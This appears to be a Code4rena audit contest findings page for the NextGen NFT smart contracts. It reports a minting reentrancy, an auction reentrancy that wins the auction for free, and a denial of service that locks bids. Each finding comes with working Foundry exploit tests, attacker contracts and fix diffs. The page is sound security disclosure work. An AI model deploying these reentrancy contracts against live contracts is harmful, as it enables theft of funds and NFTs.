Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 158/243
Findings: 3
Award: $1.09
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236
NextGenCore::mint
does not follow the Check-Effects-Interactions pattern:
function mint(...) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); ... if (...) { // Mints a new token _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); // Updates state if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } } }
MinterContract::mint
uses NextGenCore::mint
, and hence is vulnerable to a reentrancy attack via the onERC721Received
callback at the time of minting.
An attacker can take advantage of the outdated state on the NextGenCore
contract to mint all the tokens they want using MinterContract::mint
(which reads from this outdated state), regardless of the maximum allowance set for them by the NextGen team.
This is specially worrying during the allow list phase (ie. phase 1), since at this phase there is a reduced list of addresses that are able to mint, and each of them is expected to have a maximum allowance.
If an attacker exploits this bug, they will be able to mint all the tokens they want, even consuming the supply that was intended to be reserved for the public sale.
Note: sponsor confirmed that addresses in the allow list are not trusted.
Let’s consider a scenario in which Bob wants to take part in the allow list phase. He will deploy an UnlimitedMinter
contract beforehand, and register in the allow list using its address.
The merkle tree is created, and Bob is granted a max allowance of 2 tokens to mint during this phase. However, Bob plans on minting 7 tokens; he doesn’t care about the max allowance.
Merkle tree creation: https://gist.github.com/EperezOk/a7f3072e809d8d618d603cb40a254084
Let’s now see how Bob uses the UnlimitedMinter
contract to execute the attack:
function test_MinterContract_Mint_Exploit() public { vm.warp(ALLOWLIST_START_TIME); vm.startPrank(bob); // Bob wants 5 extra NFTs, appart from what the max allowance is set to UnlimitedMinter unlimitedMinter = new UnlimitedMinter( hhMinter, MAX_ALLOWANCE + 5, // mints 5 "illegal" tokens hhCore ); // Once the merkle tree is created, Bob sets the proof for the unlimited minter contract unlimitedMinter.setProofParams(UNLIMITED_MINTER_PROOF, MAX_ALLOWANCE, TOKEN_DATA); // Here Bob can mint all the tokens he wants, regardless of the `MAX_ALLOWANCE` unlimitedMinter.mint(); // Bob transfers all the tokens to his wallet for (uint256 i = 0; i < MAX_ALLOWANCE + 5; i++) hhCore.safeTransferFrom(address(unlimitedMinter), bob, 10000000000 + i); // Bob effectively minted 5 extra tokens, surpasing the max allowance assertEq(hhCore.balanceOf(bob), MAX_ALLOWANCE + 5); }
Here’s part of the code for the UnlimitedMinter
contract:
contract UnlimitedMinter { // State vars .... constructor(NextGenMinterContract _hhMinter, uint256 _totalAmountToMint, NextGenCore hhCore) { hhMinter = _hhMinter; totalAmountToMint = _totalAmountToMint; hhCore.setApprovalForAll(msg.sender, true); } function setProofParams(bytes32[] memory _proof, uint256 _maxAllowance, string memory _tokenData) public { proof = _proof; maxAllowance = _maxAllowance; tokenData = _tokenData; } function mint() public { // Mint one NFT to kick off the reentrancy attack hhMinter.mint(1, 1, maxAllowance, tokenData, address(this), proof, address(0), 0); } function onERC721Received(address,address,uint256,bytes calldata) external returns (bytes4) { if (--totalAmountToMint > 0) { // Just mint the extra tokens one by one, could be done more efficiently hhMinter.mint(1, 1, maxAllowance, tokenData, address(this), proof, address(0), 0); } return this.onERC721Received.selector; } }
Complete code for the POC and attacker contract: https://gist.github.com/EperezOk/77645e2da4d69b439f8c3ab63154f936
Note: to run the POC, please install Foundry and make sure contracts are located at
../smart-contracts
, relative to the test file.
Manual review and Foundry.
Follow the CEI pattern in NextGenCore::mint
.
diff --git a/smart-contracts/NextGenCore.sol b/smart-contracts/NextGenCore.sol index 6d294ed..c84091f 100644 --- a/smart-contracts/NextGenCore.sol +++ b/smart-contracts/NextGenCore.sol @@ -190,12 +190,12 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { - _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); } }
Reentrancy
#0 - c4-pre-sort
2023-11-20T15:32:19Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T13:59:56Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:37:53Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:28Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:23Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135
An attacker can submit the highest bid in the auction, win the auction and get both the NFT and the ether bidded back, essentially winning the auction for free.
Note 1: the attacker can use a flash loan to get the funds for submitting the highest bid, so they wouldn’t even need to have a lot of ether to execute the attack.
Note 2: this attack requires that there’s a block whose timestamp is the same as the auction end time. Since the project will be launched on mainnet, and mainnet blocks come out every 12 seconds, this attack will be possible in 1 out of 12 auctions on average, which is far from negligible.
Note 3: let
x
be the highest bid (in wei) before the attack is executed. Then the attack also requires that the contract holdsx + 1
wei unrelated to the target auction. However, this is a lax requirement, since other auctions will probably be running at the same time, and funds will be taken from those ones (leaving at least one of them insolvent).
If block.timestamp == auctionEndTime
, then all four participateToAuction
, claimAuction
, cancelBid
and cancelAllBids
can be called by a user in the AuctionDemo
contract:
require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
AuctionDemo::participateToAuction
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
AuctionDemo::cancelBid and AuctionDemo::cancelAllBids
Let’s suppose there are two auctions running: auction0
and auction1
. auction1
finishes after auction0
.
auction0
end time arrives, Charlie submits the attack.auction0
getting back the money he bidded, and auction1
becomes insolvent.function test_ClaimAuction_Exploit() public { // These are the tokenId's for each auction uint256 auction0 = 10000000000; uint256 auction1 = 10000000001; // Bob participates in both auctions vm.startPrank(bob); hhAuction.participateToAuction{value: 5 ether}(auction0); hhAuction.participateToAuction{value: 10 ether}(auction1); vm.stopPrank(); vm.warp(AUCTION_END_TIME); // Charlie outbids Bob in `auction0`, which finishes before `auction1`. // He does this through the `ReentrantBidder` contract. vm.startPrank(charlie); ReentrantBidder maliciousBidder = new ReentrantBidder(hhAuction, hhCore); // Note: Charlie could use a flash loan to get the funds for submitting the highest bid maliciousBidder.bid{value: 5 ether + 1}(auction0); vm.stopPrank(); assertEq(hhCore.balanceOf(charlie), 0); assertEq(charlie.balance, 0); // Auction0 ends vm.prank(admin); hhAuction.claimAuction(auction0); // Charlie ends up having both the NFT and the amount he had bidded assertEq(hhCore.balanceOf(charlie), 1); assertEq(charlie.balance, 5 ether + 1); // The auction owner does have the 5 ether + 1 (highest bid) they should have assertEq(admin.balance, 5 ether + 1); // However now ~5 out of the 10 ether Bob had bidded on `auction1` are missing, so he won't be able // to get the 10 ether he bidded back (`auction1` is insolvent). assertEq(bob.balance, 5 ether); assertEq(address(hhAuction).balance, 5 ether - 1); }
Here’s part of the contract the attacker can use to execute the attack:
contract ReentrantBidder { // State vars and constructor ... function bid(uint256 tokenId) public payable { hhAuction.participateToAuction{value: msg.value}(tokenId); } function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4) { // Transfer the NFT to the owner hhCore.safeTransferFrom(address(this), owner, tokenId); // Withdraw the highest bid and transfer the money back to the owner hhAuction.cancelAllBids(tokenId); owner.call{value: address(this).balance}(""); return this.onERC721Received.selector; } receive() external payable {} }
Complete test file and attacker contract: https://gist.github.com/EperezOk/d24154562d15c8530846f7b4e90ace48
Note: to run the POC, please install Foundry and make sure contracts are located at
../smart-contracts
, relative to the test file.
Manual review and Foundry.
Don’t allow claimAuction
to be called in the same block as the rest of the functions in the AuctionDemo
contract:
diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol index 95533fb..659f5cd 100644 --- a/smart-contracts/AuctionDemo.sol +++ b/smart-contracts/AuctionDemo.sol @@ -102,7 +102,7 @@ contract auctionDemo is Ownable { // claim Token After Auction function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
Reentrancy
#0 - c4-pre-sort
2023-11-14T23:38:47Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:07Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:19:29Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.9407 USDC - $0.94
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112
Once the current timestamp is greater than the auction’s end time, users can’t bid on the auction nor cancel their bids. This means their money will be locked inside the auction contract until an admin or the winner calls AuctionDemo::claimAuction
.
If at the end of an auction, the highest bidder is a contract and it does not implement onERC721Received
, then AuctionDemo::claimAuction
will always revert and non of the users that participated in the auction will be able to get their money back. This is because safeTransferFrom is used to transfer the NFT.
Note: users can use a contract to participate in the auction with no bad intentions, they can just forget to implement
IERC721Receiver
.
Let’s say Bob and Charlie participate in the auction using their EOAs, but Dave decides to participate using a Bidder
contract he designed.
contract Bidder { function bid(auctionDemo hhAuction, uint256 tokenId) public payable { hhAuction.participateToAuction{value: msg.value}(tokenId); } }
If Dave ends up being the highest bidder, then all Bob, Charlie and Dave will lose their funds, since AuctionDemo::claimAuction
will always revert.
function test_ClaimAuction_DOS() public { uint256 tokenId = 10000000000; // Bob participates in the auction vm.prank(bob); hhAuction.participateToAuction{value: 1}(tokenId); // Charlie out-bids Bob in the auction vm.prank(charlie); hhAuction.participateToAuction{value: 2}(tokenId); vm.startPrank(dave); // Dave submits the highest bid through a contract that does not implement `onERC721Received` Bidder bidderContract = new Bidder(); bidderContract.bid{value: 3}(hhAuction, tokenId); vm.stopPrank(); vm.warp(AUCTION_END_TIME + 1); vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer"); hhAuction.claimAuction(tokenId); // No one can withraw funds nor outbid the Bidder contract, since the auction already ended vm.startPrank(bob); vm.expectRevert("Auction ended"); hhAuction.cancelBid(tokenId, 0); vm.expectRevert("Auction ended"); hhAuction.cancelAllBids(tokenId); vm.expectRevert(); hhAuction.participateToAuction{value: 500}(tokenId); }
Complete test file and Bidder
contract: https://gist.github.com/EperezOk/df879871e452e9e1bbf87128fbc96dce
Note: to run the POC, please install Foundry and make sure contracts are located at
../smart-contracts
, relative to the test file.
Manual review and Foundry.
The following is just a recommendation to solve the problem described here, but note that
AuctionDemo::claimAuction
has other issues appart from this one.
Consider using a try catch
block to handle the error, and transfer the NFT to an adminWallet
so that they can then get in touch with the highest bidder and solve the issue off-chain.
diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol index 95533fb..3de256b 100644 --- a/smart-contracts/AuctionDemo.sol +++ b/smart-contracts/AuctionDemo.sol @@ -109,7 +109,10 @@ contract auctionDemo is Ownable { address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { - IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); + try IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid) {} + catch Error(string memory /*reason*/) { + IERC721(gencore).safeTransferFrom(ownerOfToken, adminWallet, _tokenid); + } (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) {
Token-Transfer
#0 - c4-pre-sort
2023-11-20T15:38:05Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:58:00Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:58:29Z
alex-ppg marked the issue as duplicate of #1759
#3 - c4-judge
2023-12-08T22:17:49Z
alex-ppg marked the issue as satisfactory
#4 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)